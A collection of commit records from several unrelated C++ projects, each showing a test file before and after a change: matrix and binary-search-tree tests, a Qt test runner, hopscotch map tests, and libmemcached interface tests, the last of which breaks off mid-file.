Matrix matrix;
REQUIRE(matrix.rows() == 4);
REQUIRE(matrix.columns() == 4);
for (int i=0;i<matrix.rows(); i++) {
for (int j = 0; j<matrix.columns();j++) {
REQUIRE(matrix.Element(i,j) == 0);
}
}
}
SCENARIO("matrix init with parametrs", "[init withp]") {
Matrix matrix(2,2);
REQUIRE(matrix.rows() == 2);
REQUIRE(matrix.columns() == 2);
for (int i=0;i<matrix.rows(); i++) {
for (int j = 0; j<matrix.columns();j++) {
REQUIRE(matrix.Element(i,j) == 0);
}
}
}
SCENARIO("matrix init copy", "[init copy]") {
Matrix matrix(2,2);
Matrix matrix1(matrix);
REQUIRE(matrix1.rows() == matrix.rows());
REQUIRE(matrix1.columns() == matrix.columns());
for (int i=0;i<matrix.rows(); i++) {
for (int j = 0; j<matrix.columns();j++) {
REQUIRE(matrix.Element(i,j) == matrix1.Element(i,j));
}
}
}
SCENARIO("matrix fill", "[fill]") {
Matrix matrix(2,2);
ofstream test1("test1.txt");
test1 << "1 2 3 4";
test1.close();
matrix.fill("test1.txt");
REQUIRE(matrix.Element(0,0) == 1);
REQUIRE(matrix.Element(0,1) == 2);
REQUIRE(matrix.Element(1,0) == 3);
REQUIRE(matrix.Element(1,1) == 4);
}
SCENARIO("matrix sum", "[sum]") {
Matrix matrix(2,2);
Matrix matrix1(2,2);
Matrix sum(2,2);
ofstream test1("test1.txt");
test1 << "1 2 3 4";
test1.close();
matrix.fill("test1.txt");
matrix1.fill("test1.txt");
//ofstream sumfile("sumfile.txt");
//sumfile << "2 4 6 8";
//sum.fill("sumfile.txt");
//sumfile.close();
REQUIRE(matrix.Element(0,0) + matrix1.Element(0,0) == 2);
REQUIRE(matrix.Element(0,1) + matrix1.Element(0,1) == 4);
REQUIRE(matrix.Element(1,0) + matrix1.Element(1,0) == 6);
REQUIRE(matrix.Element(1,1) + matrix1.Element(1,1) == 8);
}
SCENARIO("matrix Proizv", "[Pro]") {
Matrix matrix(2,2);
Matrix matrix1(2,2);
Matrix Pro(2,2);
ofstream test1("test1.txt");
test1 << "1 2 3 4";
test1.close();
matrix.fill("test1.txt");
matrix1.fill("test1.txt");
//ofstream sumfile("sumfile.txt");
//sumfile << "2 4 6 8";
//sum.fill("sumfile.txt");
//sumfile.close();
REQUIRE(matrix.Element(0,0) * matrix1.Element(0,0) + matrix.Element(1,0) * matrix1.Element(0,1) == 7);
REQUIRE(matrix.Element(0,1) * matrix1.Element(0,0) + matrix.Element(1,1) * matrix1.Element(0,1) == 10);
REQUIRE(matrix.Element(0,0) * matrix1.Element(1,0) + matrix.Element(1,0) * matrix1.Element(1,1) == 15);
REQUIRE(matrix.Element(0,1) * matrix1.Element(1,0) + matrix.Element(1,1) * matrix1.Element(1,1) == 22);
}
SCENARIO("matrix compare" , "[Comp]") {
Matrix matrix(2,2);
Matrix matrix1(2,2);
ofstream test1("test1.txt");
test1 << "1 2 3 4";
test1.close();
matrix.fill("test1.txt");
matrix1.fill("test1.txt");
for (int i = 0; i<matrix.rows(); i++) {
for (int j = 0; j<matrix.columns();j++) {
REQUIRE(matrix.Element(i,j) == matrix1.Element(i,j));
}
}
}
SCENARIO("matrix compare" , "[Comp]") {
Matrix matrix(2,2);
Matrix matrix1(2,2);
ofstream test1("test1.txt");
test1 << "1 2 3 4";
test1.close();
matrix.fill("test1.txt");
matrix1 = matrix;
REQUIRE(matrix1.Element(0,0) == 1);
REQUIRE(matrix1.Element(0,1) == 2);
REQUIRE(matrix1.Element(1,0) == 3);
REQUIRE(matrix1.Element(1,1) == 4);
}
<commit_msg>Update init.cpp<commit_after>#include <matrix.hpp>
#include <catch.hpp>
SCENARIO("matrix init without parametrs", "[init wp]") {
Matrix matrix;
REQUIRE(matrix.rows() == 4);
REQUIRE(matrix.columns() == 4);
for (int i=0;i<matrix.rows(); i++) {
for (int j = 0; j<matrix.columns();j++) {
REQUIRE(matrix.Element(i,j) == 0);
}
}
}
SCENARIO("matrix init with parametrs", "[init withp]") {
Matrix matrix(2,2);
REQUIRE(matrix.rows() == 2);
REQUIRE(matrix.columns() == 2);
for (int i=0;i<matrix.rows(); i++) {
for (int j = 0; j<matrix.columns();j++) {
REQUIRE(matrix.Element(i,j) == 0);
}
}
}
SCENARIO("matrix init copy", "[init copy]") {
Matrix matrix(2,2);
Matrix matrix1(matrix);
REQUIRE(matrix1.rows() == matrix.rows());
REQUIRE(matrix1.columns() == matrix.columns());
for (int i=0;i<matrix.rows(); i++) {
for (int j = 0; j<matrix.columns();j++) {
REQUIRE(matrix.Element(i,j) == matrix1.Element(i,j));
}
}
}
SCENARIO("matrix fill", "[fill]") {
Matrix matrix(2,2);
ofstream test1("test1.txt");
test1 << "1 2 3 4";
test1.close();
matrix.fill("test1.txt");
REQUIRE(matrix.Element(0,0) == 1);
REQUIRE(matrix.Element(0,1) == 2);
REQUIRE(matrix.Element(1,0) == 3);
REQUIRE(matrix.Element(1,1) == 4);
}
SCENARIO("matrix sum", "[sum]") {
Matrix matrix(2,2);
Matrix matrix1(2,2);
Matrix sum(2,2);
ofstream test1("test1.txt");
test1 << "1 2 3 4";
test1.close();
matrix.fill("test1.txt");
matrix1.fill("test1.txt");
//ofstream sumfile("sumfile.txt");
//sumfile << "2 4 6 8";
//sum.fill("sumfile.txt");
//sumfile.close();
REQUIRE(matrix.Element(0,0) + matrix1.Element(0,0) == 2);
REQUIRE(matrix.Element(0,1) + matrix1.Element(0,1) == 4);
REQUIRE(matrix.Element(1,0) + matrix1.Element(1,0) == 6);
REQUIRE(matrix.Element(1,1) + matrix1.Element(1,1) == 8);
}
SCENARIO("matrix Proizv", "[Pro]") {
Matrix matrix(2,2);
Matrix matrix1(2,2);
Matrix Pro(2,2);
ofstream test1("test1.txt");
test1 << "1 2 3 4";
test1.close();
matrix.fill("test1.txt");
matrix1.fill("test1.txt");
//ofstream sumfile("sumfile.txt");
//sumfile << "2 4 6 8";
//sum.fill("sumfile.txt");
//sumfile.close();
REQUIRE(matrix.Element(0,0) * matrix1.Element(0,0) + matrix.Element(1,0) * matrix1.Element(0,1) == 7);
REQUIRE(matrix.Element(0,1) * matrix1.Element(0,0) + matrix.Element(1,1) * matrix1.Element(0,1) == 10);
REQUIRE(matrix.Element(0,0) * matrix1.Element(1,0) + matrix.Element(1,0) * matrix1.Element(1,1) == 15);
REQUIRE(matrix.Element(0,1) * matrix1.Element(1,0) + matrix.Element(1,1) * matrix1.Element(1,1) == 22);
}
SCENARIO("matrix compare" , "[Comp]") {
Matrix matrix(2,2);
Matrix matrix1(2,2);
ofstream test1("test1.txt");
test1 << "1 2 3 4";
test1.close();
matrix.fill("test1.txt");
matrix1.fill("test1.txt");
for (int i = 0; i<matrix.rows(); i++) {
for (int j = 0; j<matrix.columns();j++) {
REQUIRE(matrix.Element(i,j) == matrix1.Element(i,j));
}
}
}
SCENARIO("matrix prisv" , "[prisv]") {
Matrix matrix(2,2);
Matrix matrix1(2,2);
ofstream test1("test1.txt");
test1 << "1 2 3 4";
test1.close();
matrix.fill("test1.txt");
matrix1 = matrix;
REQUIRE(matrix1.Element(0,0) == 1);
REQUIRE(matrix1.Element(0,1) == 2);
REQUIRE(matrix1.Element(1,0) == 3);
REQUIRE(matrix1.Element(1,1) == 4);
}
<|endoftext|> |
<commit_before>#include <BST.hpp>
#include <catch.hpp>
#include <fstream>
SCENARIO ("init", "[init]")
{
BST<int> test;
REQUIRE(test.getroot() == nullptr);
REQUIRE(test.getcount() == 0);
}
SCENARIO("insert", "[init]")
{
BST<int> test;
test.add(10);
REQUIRE(test.search(10, test.getroot()) != 0);
}
SCENARIO("find_node", "[init]")
{
BST<int> test;
test.add(10);
REQUIRE(test.search(10, test.getroot()) != 0);
REQUIRE(test.search(10, test.getroot()) != 0);
}
SCENARIO("get root", "[init]")
{
BST<int> test;
test.add(10);
REQUIRE(test.getcount() == 1);
REQUIRE(test.getroot() != 0);
}
SCENARIO ("test1", "[init]")
{
BST<int> test;
test.input("File1.txt");
REQUIRE(test.getcount() == 3);
}
SCENARIO("del", "[init]")
{
BST<int> test;
test.add(1);
test.add(2);
test.add(3);
test.del(test.getroot(), 1);
test.del(test.getroot(), 2);
REQUIRE(test.search(1, test.getroot()) != 0);
REQUIRE(test.search(2, test.getroot()) == 0);
REQUIRE(test.search(3, test.getroot())!= 0);
}
<commit_msg>Create init.cpp<commit_after>#include <BST.hpp>
#include <catch.hpp>
#include <fstream>
SCENARIO ("init", "[init]")
{
BST<int> test;
REQUIRE(test.getroot() == nullptr);
REQUIRE(test.getcount() == 0);
}
SCENARIO("insert", "[init]")
{
BST<int> test;
test.add(10);
REQUIRE(test.search(10, test.getroot()) != 0);
}
SCENARIO("find_node", "[init]")
{
BST<int> test;
test.add(10);
REQUIRE(test.search(10, test.getroot()) != 0);
REQUIRE(test.search(10, test.getroot()) != 0);
}
SCENARIO("get root", "[init]")
{
BST<int> test;
test.add(10);
REQUIRE(test.getcount() == 1);
REQUIRE(test.getroot() != 0);
}
SCENARIO ("test1", "[init]")
{
BST<int> test;
test.input("File1.txt");
REQUIRE(test.getcount() == 3);
}
/*
SCENARIO("del", "[init]")
{
BST<int> test;
test.add(1);
test.add(2);
test.add(3);
test.del(test.getroot(), 1);
test.del(test.getroot(), 2);
REQUIRE(test.search(1, test.getroot()) != 0);
REQUIRE(test.search(2, test.getroot()) == 0);
REQUIRE(test.search(3, test.getroot())!= 0);
}
*/
<|endoftext|> |
<commit_before>#include <QTest>
#include "mainwindow.h"
#include "test-suite.h"
QMap<QDateTime, QString> _log;
QMap<QString, QString> _md5;
mainWindow *_mainwindow;
int main(int argc, char *argv[])
{
QApplication a(argc, argv);
int failed = 0;
for (QObject *suite : TestSuite::suites)
{
int result = QTest::qExec(suite);
if (result != 0)
{
failed++;
}
}
return failed;
}
<commit_msg>Replace gui application by core app to run in cli<commit_after>#include <QTest>
#include "mainwindow.h"
#include "test-suite.h"
QMap<QDateTime, QString> _log;
QMap<QString, QString> _md5;
mainWindow *_mainwindow;
int main(int argc, char *argv[])
{
QCoreApplication a(argc, argv);
int failed = 0;
for (QObject *suite : TestSuite::suites)
{
int result = QTest::qExec(suite);
if (result != 0)
{
failed++;
}
}
return failed;
}
<|endoftext|> |
<commit_before>#define BOOST_TEST_MODULE test_hopscotch_map
#define BOOST_TEST_DYN_LINK
#include <boost/test/unit_test.hpp>
#include <boost/mpl/list.hpp>
#include "utils.h"
#include "hopscotch_map.h"
using test_types = boost::mpl::list<hopscotch_map<int64_t, int64_t>,
hopscotch_map<int64_t, int64_t, std::hash<int64_t>, std::equal_to<int64_t>, 6>,
// Test with hash having a lot of collisions
hopscotch_map<int64_t, int64_t, mod_hash<9>>,
hopscotch_map<int64_t, int64_t, mod_hash<9>, std::equal_to<int64_t>, 6>,
hopscotch_map<std::string, std::string>,
hopscotch_map<std::string, std::string, mod_hash<9>>,
hopscotch_map<std::string, std::string, mod_hash<9>, std::equal_to<std::string>, 6>,
hopscotch_map<int64_t, std::string>,
hopscotch_map<int64_t, move_only_test>,
hopscotch_map<int64_t, move_only_test, mod_hash<9>, std::equal_to<int64_t>, 6>>;
BOOST_AUTO_TEST_CASE_TEMPLATE(test_insert, HMap, test_types) {
using key_t = typename HMap::key_type; using value_t = typename HMap:: mapped_type;
const size_t nb_values = 1000;
HMap map;
typename HMap::iterator it;
bool inserted;
for(size_t i = 0; i < nb_values; i++) {
std::tie(it, inserted) = map.insert({utils::get_key<key_t>(i), utils::get_value<value_t>(i)});
BOOST_CHECK_EQUAL(it->first, utils::get_key<key_t>(i));
BOOST_CHECK_EQUAL(it->second, utils::get_value<value_t>(i));
BOOST_CHECK(inserted);
}
BOOST_CHECK_EQUAL(map.size(), nb_values);
for(size_t i = 0; i < nb_values; i++) {
std::tie(it, inserted) = map.insert({utils::get_key<key_t>(i), utils::get_value<value_t>(i)});
BOOST_CHECK_EQUAL(it->first, utils::get_key<key_t>(i));
BOOST_CHECK_EQUAL(it->second, utils::get_value<value_t>(i));
BOOST_CHECK(!inserted);
}
for(size_t i = 0; i < nb_values; i++) {
it = map.find(utils::get_key<key_t>(i));
BOOST_CHECK_EQUAL(it->first, utils::get_key<key_t>(i));
BOOST_CHECK_EQUAL(it->second, utils::get_value<value_t>(i));
}
}
BOOST_AUTO_TEST_CASE_TEMPLATE(test_erase_all, HMap, test_types) {
const size_t nb_values = 1000;
HMap map = utils::get_filled_hash_map<HMap>(nb_values);
auto it = map.erase(map.begin(), map.end());
BOOST_CHECK(it == map.end());
BOOST_CHECK(map.empty());
}
BOOST_AUTO_TEST_CASE_TEMPLATE(test_erase_loop, HMap, test_types) {
size_t nb_values = 1000;
HMap map = utils::get_filled_hash_map<HMap>(nb_values);
auto it = map.begin();
while(it != map.end()) {
auto key = it->first;
it = map.erase(it);
--nb_values;
BOOST_CHECK_EQUAL(map.count(key), 0);
BOOST_CHECK_EQUAL(map.size(), nb_values);
}
BOOST_CHECK(map.empty());
}
BOOST_AUTO_TEST_CASE_TEMPLATE(test_iterator, HMap, test_types) {
using key_t = typename HMap::key_type; using value_t = typename HMap:: mapped_type;
const size_t nb_values = 1000;
const HMap map = utils::get_filled_hash_map<HMap>(nb_values);
BOOST_CHECK_EQUAL(std::distance(map.begin(), map.end()), nb_values);
BOOST_CHECK_EQUAL(std::distance(map.cbegin(), map.cend()), nb_values);
HMap map_tmp1 = utils::get_filled_hash_map<HMap>(nb_values);
const std::map<key_t, value_t> sorted(std::make_move_iterator(map_tmp1.begin()), std::make_move_iterator(map_tmp1.end()));
HMap map_tmp2 = utils::get_filled_hash_map<HMap>(nb_values);
const std::map<key_t, value_t> sorted2(std::make_move_iterator(map_tmp2.begin()), std::make_move_iterator(map_tmp2.end()));
BOOST_CHECK(sorted == sorted2);
BOOST_CHECK_EQUAL(sorted.size(), map.size());
for(const auto & key_value : sorted) {
auto it_find = map.find(key_value.first);
BOOST_CHECK_EQUAL(key_value.first, it_find->first);
BOOST_CHECK_EQUAL(key_value.second, it_find->second);
}
}
BOOST_AUTO_TEST_CASE(test_clear) {
const size_t nb_values = 1000;
auto map = utils::get_filled_hash_map<hopscotch_map<int64_t, int64_t>>(nb_values);
map.clear();
BOOST_CHECK_EQUAL(map.size(), 0);
BOOST_CHECK_EQUAL(std::distance(map.begin(), map.end()), 0);
}
BOOST_AUTO_TEST_CASE_TEMPLATE(test_compare, HMap, test_types) {
using key_t = typename HMap::key_type; using value_t = typename HMap:: mapped_type;
const size_t nb_values = 1000;
HMap map_1_1;
HMap map_1_2;
HMap map_2_1;
for(size_t i = 0; i < nb_values; i++) {
map_1_1.insert({utils::get_key<key_t>(i), utils::get_value<value_t>(i)});
if(i != 0) {
map_2_1.insert({utils::get_key<key_t>(i), utils::get_value<value_t>(i)});
}
}
// Same as map_1_1 but insertion order inverted
for(size_t i = nb_values; i != 0; i--) {
map_1_2.insert({utils::get_key<key_t>(i-1), utils::get_value<value_t>(i-1)});
}
BOOST_CHECK_EQUAL(map_1_1.size(), nb_values);
BOOST_CHECK_EQUAL(map_1_2.size(), nb_values);
BOOST_CHECK_EQUAL(map_2_1.size(), nb_values-1);
BOOST_CHECK(map_1_1 == map_1_2);
BOOST_CHECK(map_1_2 == map_1_1);
BOOST_CHECK(map_1_1 != map_2_1);
BOOST_CHECK(map_2_1 != map_1_1);
BOOST_CHECK(map_1_2 != map_2_1);
BOOST_CHECK(map_2_1 != map_1_2);
}
<commit_msg>Add test to check rehash with overflow and nothrow move constructible elements<commit_after>#define BOOST_TEST_MODULE test_hopscotch_map
#define BOOST_TEST_DYN_LINK
#include <boost/test/unit_test.hpp>
#include <boost/mpl/list.hpp>
#include "utils.h"
#include "hopscotch_map.h"
using test_types = boost::mpl::list<hopscotch_map<int64_t, int64_t>,
hopscotch_map<int64_t, int64_t, std::hash<int64_t>, std::equal_to<int64_t>, 6>,
// Test with hash having a lot of collisions
hopscotch_map<int64_t, int64_t, mod_hash<9>>,
hopscotch_map<int64_t, int64_t, mod_hash<9>, std::equal_to<int64_t>, 6>,
hopscotch_map<std::string, std::string>,
hopscotch_map<std::string, std::string, mod_hash<9>>,
hopscotch_map<std::string, std::string, mod_hash<9>, std::equal_to<std::string>, 6>,
hopscotch_map<int64_t, std::string>,
hopscotch_map<int64_t, move_only_test>,
hopscotch_map<int64_t, move_only_test, mod_hash<9>, std::equal_to<int64_t>, 6>>;
BOOST_AUTO_TEST_CASE_TEMPLATE(test_insert, HMap, test_types) {
using key_t = typename HMap::key_type; using value_t = typename HMap:: mapped_type;
const size_t nb_values = 1000;
HMap map;
typename HMap::iterator it;
bool inserted;
for(size_t i = 0; i < nb_values; i++) {
std::tie(it, inserted) = map.insert({utils::get_key<key_t>(i), utils::get_value<value_t>(i)});
BOOST_CHECK_EQUAL(it->first, utils::get_key<key_t>(i));
BOOST_CHECK_EQUAL(it->second, utils::get_value<value_t>(i));
BOOST_CHECK(inserted);
}
BOOST_CHECK_EQUAL(map.size(), nb_values);
for(size_t i = 0; i < nb_values; i++) {
std::tie(it, inserted) = map.insert({utils::get_key<key_t>(i), utils::get_value<value_t>(i)});
BOOST_CHECK_EQUAL(it->first, utils::get_key<key_t>(i));
BOOST_CHECK_EQUAL(it->second, utils::get_value<value_t>(i));
BOOST_CHECK(!inserted);
}
for(size_t i = 0; i < nb_values; i++) {
it = map.find(utils::get_key<key_t>(i));
BOOST_CHECK_EQUAL(it->first, utils::get_key<key_t>(i));
BOOST_CHECK_EQUAL(it->second, utils::get_value<value_t>(i));
}
}
BOOST_AUTO_TEST_CASE_TEMPLATE(test_erase_all, HMap, test_types) {
const size_t nb_values = 1000;
HMap map = utils::get_filled_hash_map<HMap>(nb_values);
auto it = map.erase(map.begin(), map.end());
BOOST_CHECK(it == map.end());
BOOST_CHECK(map.empty());
}
BOOST_AUTO_TEST_CASE_TEMPLATE(test_erase_loop, HMap, test_types) {
size_t nb_values = 1000;
HMap map = utils::get_filled_hash_map<HMap>(nb_values);
auto it = map.begin();
while(it != map.end()) {
auto key = it->first;
it = map.erase(it);
--nb_values;
BOOST_CHECK_EQUAL(map.count(key), 0);
BOOST_CHECK_EQUAL(map.size(), nb_values);
}
BOOST_CHECK(map.empty());
}
BOOST_AUTO_TEST_CASE_TEMPLATE(test_iterator, HMap, test_types) {
using key_t = typename HMap::key_type; using value_t = typename HMap:: mapped_type;
const size_t nb_values = 1000;
const HMap map = utils::get_filled_hash_map<HMap>(nb_values);
BOOST_CHECK_EQUAL(std::distance(map.begin(), map.end()), nb_values);
BOOST_CHECK_EQUAL(std::distance(map.cbegin(), map.cend()), nb_values);
HMap map_tmp1 = utils::get_filled_hash_map<HMap>(nb_values);
const std::map<key_t, value_t> sorted(std::make_move_iterator(map_tmp1.begin()), std::make_move_iterator(map_tmp1.end()));
HMap map_tmp2 = utils::get_filled_hash_map<HMap>(nb_values);
const std::map<key_t, value_t> sorted2(std::make_move_iterator(map_tmp2.begin()), std::make_move_iterator(map_tmp2.end()));
BOOST_CHECK(sorted == sorted2);
BOOST_CHECK_EQUAL(sorted.size(), map.size());
for(const auto & key_value : sorted) {
auto it_find = map.find(key_value.first);
BOOST_CHECK_EQUAL(key_value.first, it_find->first);
BOOST_CHECK_EQUAL(key_value.second, it_find->second);
}
}
BOOST_AUTO_TEST_CASE(test_clear) {
const size_t nb_values = 1000;
auto map = utils::get_filled_hash_map<hopscotch_map<int64_t, int64_t>>(nb_values);
map.clear();
BOOST_CHECK_EQUAL(map.size(), 0);
BOOST_CHECK_EQUAL(std::distance(map.begin(), map.end()), 0);
}
BOOST_AUTO_TEST_CASE_TEMPLATE(test_compare, HMap, test_types) {
using key_t = typename HMap::key_type; using value_t = typename HMap:: mapped_type;
const size_t nb_values = 1000;
HMap map_1_1;
HMap map_1_2;
HMap map_2_1;
for(size_t i = 0; i < nb_values; i++) {
map_1_1.insert({utils::get_key<key_t>(i), utils::get_value<value_t>(i)});
if(i != 0) {
map_2_1.insert({utils::get_key<key_t>(i), utils::get_value<value_t>(i)});
}
}
// Same as map_1_1 but insertion order inverted
for(size_t i = nb_values; i != 0; i--) {
map_1_2.insert({utils::get_key<key_t>(i-1), utils::get_value<value_t>(i-1)});
}
BOOST_CHECK_EQUAL(map_1_1.size(), nb_values);
BOOST_CHECK_EQUAL(map_1_2.size(), nb_values);
BOOST_CHECK_EQUAL(map_2_1.size(), nb_values-1);
BOOST_CHECK(map_1_1 == map_1_2);
BOOST_CHECK(map_1_2 == map_1_1);
BOOST_CHECK(map_1_1 != map_2_1);
BOOST_CHECK(map_2_1 != map_1_1);
BOOST_CHECK(map_1_2 != map_2_1);
BOOST_CHECK(map_2_1 != map_1_2);
}
/*
* Get nothrow_move_construbtible elements into the overflow list before rehash.
*/
BOOST_AUTO_TEST_CASE(test_insert_overflow_rehash_nothrow_move_construbtible) {
static const size_t mod = 100;
using HMap = hopscotch_map<int64_t, move_only_test, mod_hash<mod>, std::equal_to<int64_t>, 6>;
static_assert(std::is_nothrow_move_constructible<HMap::value_type>::value, "");
HMap map;
HMap::iterator it;
bool inserted;
const size_t nb_values = 5000;
for(size_t i = 1; i < nb_values; i+= mod) {
std::tie(it, inserted) = map.insert({i, i+1});
BOOST_CHECK_EQUAL(it->first, i);
BOOST_CHECK_EQUAL(it->second, i+1);
BOOST_CHECK(inserted);
}
BOOST_CHECK_EQUAL(map.size(), nb_values/mod);
for(size_t i = 0; i < nb_values; i++) {
std::tie(it, inserted) = map.insert({i, i+1});
BOOST_CHECK_EQUAL(it->first, i);
BOOST_CHECK_EQUAL(it->second, i+1);
BOOST_CHECK((i%mod==1)?!inserted:inserted);
}
BOOST_CHECK_EQUAL(map.size(), nb_values);
for(size_t i = 0; i < nb_values; i++) {
it = map.find(i);
BOOST_CHECK_EQUAL(it->first, i);
BOOST_CHECK_EQUAL(it->second, i+1);
}
}
<|endoftext|> |
<commit_before>/*
C++ interface test
*/
#include <libmemcached/memcached.hpp>
#include <cstdio>
#include <cstdlib>
#include <cstring>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <ctime>
#include <libtest/server.h>
#include <libtest/test.hpp>
#include <string>
#include <iostream>
using namespace std;
using namespace memcache;
extern "C" {
test_return_t basic_test(memcached_st *memc);
test_return_t increment_test(memcached_st *memc);
test_return_t basic_master_key_test(memcached_st *memc);
test_return_t mget_result_function(memcached_st *memc);
test_return_t basic_behavior(memcached_st *memc);
test_return_t mget_test(memcached_st *memc);
memcached_return_t callback_counter(const memcached_st *,
memcached_result_st *,
void *context);
}
static void populate_vector(vector<char> &vec, const string &str)
{
vec.reserve(str.length());
vec.assign(str.begin(), str.end());
}
static void copy_vec_to_string(vector<char> &vec, string &str)
{
str.clear();
if (not vec.empty())
{
str.assign(vec.begin(), vec.end());
}
}
test_return_t basic_test(memcached_st *memc)
{
Memcache foo(memc);
const string value_set("This is some data");
std::vector<char> value;
std::vector<char> test_value;
populate_vector(value, value_set);
test_true(foo.set("mine", value, 0, 0));
test_true(foo.get("mine", test_value));
test_memcmp(&test_value[0], &value[0], test_value.size());
test_false(foo.set("", value, 0, 0));
return TEST_SUCCESS;
}
test_return_t increment_test(memcached_st *original)
{
Memcache mcach(original);
const string key("blah");
const string inc_value("1");
std::vector<char> inc_val;
vector<char> ret_value;
string ret_string;
uint64_t int_inc_value;
uint64_t int_ret_value;
populate_vector(inc_val, inc_value);
test_true(mcach.set(key, inc_val, 0, 0));
test_true(mcach.get(key, ret_value));
test_false(ret_value.empty());
copy_vec_to_string(ret_value, ret_string);
int_inc_value= uint64_t(atol(inc_value.c_str()));
int_ret_value= uint64_t(atol(ret_string.c_str()));
test_compare(int_inc_value, int_ret_value);
test_true(mcach.increment(key, 1, &int_ret_value));
test_compare(2, int_ret_value);
test_true(mcach.increment(key, 1, &int_ret_value));
test_compare(3, int_ret_value);
test_true(mcach.increment(key, 5, &int_ret_value));
test_compare(8, int_ret_value);
return TEST_SUCCESS;
}
test_return_t basic_master_key_test(memcached_st *original)
{
Memcache foo(original);
const string value_set("Data for server A");
vector<char> value;
vector<char> test_value;
const string master_key_a("server-a");
const string master_key_b("server-b");
const string key("xyz");
populate_vector(value, value_set);
foo.setByKey(master_key_a, key, value, 0, 0);
foo.getByKey(master_key_a, key, test_value);
test_true((memcmp(&value[0], &test_value[0], value.size()) == 0));
test_value.clear();
foo.getByKey(master_key_b, key, test_value);
test_true((memcmp(&value[0], &test_value[0], value.size()) == 0));
return TEST_SUCCESS;
}
/* Count the results */
memcached_return_t callback_counter(const memcached_st *,
memcached_result_st *,
void *context)
{
unsigned int *counter= static_cast<unsigned int *>(context);
*counter= *counter + 1;
return MEMCACHED_SUCCESS;
}
test_return_t mget_test(memcached_st *original)
{
Memcache memc(original);
memcached_return_t mc_rc;
vector<string> keys;
vector< vector<char> *> values;
keys.reserve(3);
keys.push_back("fudge");
keys.push_back("son");
keys.push_back("food");
vector<char> val1;
vector<char> val2;
vector<char> val3;
populate_vector(val1, "fudge");
populate_vector(val2, "son");
populate_vector(val3, "food");
values.reserve(3);
values.push_back(&val1);
values.push_back(&val2);
values.push_back(&val3);
string return_key;
vector<char> return_value;
/* We need to empty the server before we continue the test */
test_true(memc.flush());
test_true(memc.mget(keys));
test_compare(MEMCACHED_NOTFOUND,
memc.fetch(return_key, return_value));
test_true(memc.setAll(keys, values, 50, 9));
test_true(memc.mget(keys));
size_t count= 0;
while ((mc_rc= memc.fetch(return_key, return_value)) == MEMCACHED_SUCCESS)
{
test_compare(return_key.length(), return_value.size());
test_memcmp(&return_value[0], return_key.c_str(), return_value.size());
count++;
}
test_compare(values.size(), count);
return TEST_SUCCESS;
}
test_return_t basic_behavior(memcached_st *original)
{
Memcache memc(original);
uint64_t value= 1;
test_true(memc.setBehavior(MEMCACHED_BEHAVIOR_VERIFY_KEY, value));
uint64_t behavior= memc.getBehavior(MEMCACHED_BEHAVIOR_VERIFY_KEY);
test_compare(behavior, value);
return TEST_SUCCESS;
}
test_st tests[] ={
{ "basic", 0,
reinterpret_cast<test_callback_fn*>(basic_test) },
{ "basic_master_key", 0,
reinterpret_cast<test_callback_fn*>(basic_master_key_test) },
{ "increment_test", 0,
reinterpret_cast<test_callback_fn*>(increment_test) },
{ "mget", 1,
reinterpret_cast<test_callback_fn*>(mget_test) },
{ "basic_behavior", 0,
reinterpret_cast<test_callback_fn*>(basic_behavior) },
{0, 0, 0}
};
collection_st collection[] ={
{"block", 0, 0, tests},
{0, 0, 0, 0}
};
#define SERVERS_TO_CREATE 5
#include "libmemcached_world.h"
void get_world(Framework *world)
{
world->collections= collection;
world->_create= reinterpret_cast<test_callback_create_fn*>(world_create);
world->_destroy= reinterpret_cast<test_callback_fn*>(world_destroy);
world->item._startup= reinterpret_cast<test_callback_fn*>(world_test_startup);
world->item._flush= reinterpret_cast<test_callback_fn*>(world_flush);
world->item.set_pre(reinterpret_cast<test_callback_fn*>(world_pre_run));
world->item.set_post(reinterpret_cast<test_callback_fn*>(world_post_run));
world->_on_error= reinterpret_cast<test_callback_error_fn*>(world_on_error);
world->collection_startup= reinterpret_cast<test_callback_fn*>(world_container_startup);
world->collection_shutdown= reinterpret_cast<test_callback_fn*>(world_container_shutdown);
world->runner= &defualt_libmemcached_runner;
}
<commit_msg>Fix for lp:802952<commit_after>/*
C++ interface test
*/
#include <libmemcached/memcached.hpp>
#include <cstdio>
#include <cstdlib>
#include <cstring>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <ctime>
#include <libtest/server.h>
#include <libtest/test.hpp>
#include <string>
#include <iostream>
using namespace std;
using namespace memcache;
extern "C" {
test_return_t basic_test(memcached_st *memc);
test_return_t increment_test(memcached_st *memc);
test_return_t basic_master_key_test(memcached_st *memc);
test_return_t mget_result_function(memcached_st *memc);
test_return_t basic_behavior(memcached_st *memc);
test_return_t mget_test(memcached_st *memc);
memcached_return_t callback_counter(const memcached_st *,
memcached_result_st *,
void *context);
}
static void populate_vector(vector<char> &vec, const string &str)
{
vec.reserve(str.length());
vec.assign(str.begin(), str.end());
}
static void copy_vec_to_string(vector<char> &vec, string &str)
{
str.clear();
if (not vec.empty())
{
str.assign(vec.begin(), vec.end());
}
}
test_return_t basic_test(memcached_st *memc)
{
Memcache foo(memc);
const string value_set("This is some data");
std::vector<char> value;
std::vector<char> test_value;
populate_vector(value, value_set);
test_true(foo.set("mine", value, 0, 0));
test_true(foo.get("mine", test_value));
test_memcmp(&test_value[0], &value[0], test_value.size());
test_false(foo.set("", value, 0, 0));
return TEST_SUCCESS;
}
test_return_t increment_test(memcached_st *original)
{
Memcache mcach(original);
const string key("blah");
const string inc_value("1");
std::vector<char> inc_val;
vector<char> ret_value;
string ret_string;
uint64_t int_inc_value;
uint64_t int_ret_value;
populate_vector(inc_val, inc_value);
test_true(mcach.set(key, inc_val, 0, 0));
test_true(mcach.get(key, ret_value));
test_false(ret_value.empty());
copy_vec_to_string(ret_value, ret_string);
int_inc_value= uint64_t(atol(inc_value.c_str()));
int_ret_value= uint64_t(atol(ret_string.c_str()));
test_compare(int_inc_value, int_ret_value);
test_true(mcach.increment(key, 1, &int_ret_value));
test_compare(2, int_ret_value);
test_true(mcach.increment(key, 1, &int_ret_value));
test_compare(3, int_ret_value);
test_true(mcach.increment(key, 5, &int_ret_value));
test_compare(8, int_ret_value);
return TEST_SUCCESS;
}
test_return_t basic_master_key_test(memcached_st *original)
{
Memcache foo(original);
const string value_set("Data for server A");
vector<char> value;
vector<char> test_value;
const string master_key_a("server-a");
const string master_key_b("server-b");
const string key("xyz");
populate_vector(value, value_set);
test_true(foo.setByKey(master_key_a, key, value, 0, 0));
test_true(foo.getByKey(master_key_a, key, test_value));
test_compare(value.size(), test_value.size());
